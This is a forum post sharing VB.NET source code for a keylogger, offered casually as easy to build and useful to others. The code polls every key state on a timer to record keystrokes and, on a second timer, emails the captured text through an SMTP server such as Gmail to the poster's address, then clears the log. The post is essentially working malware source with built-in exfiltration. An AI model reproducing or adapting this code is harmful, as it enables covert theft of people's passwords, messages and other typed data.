Posts: 96
Threads: 39
Joined: Sep 2011
Reputation:
0
Actually that's not that difficult. Here you have a code and it sends it with an email:
[code2=vbnet]Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("your email address")
MyMailMessage.To.Add("your email address")
MyMailMessage.Subject = ("Keylogger")
MyMailMessage.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com or your host")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("your email address", "your password")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")
End Sub
End Class[/code2]
You've propably found it already but I thought it may be useful for others
--><img src="{SMILIES_PATH}/icon_e_biggrin.gif" alt="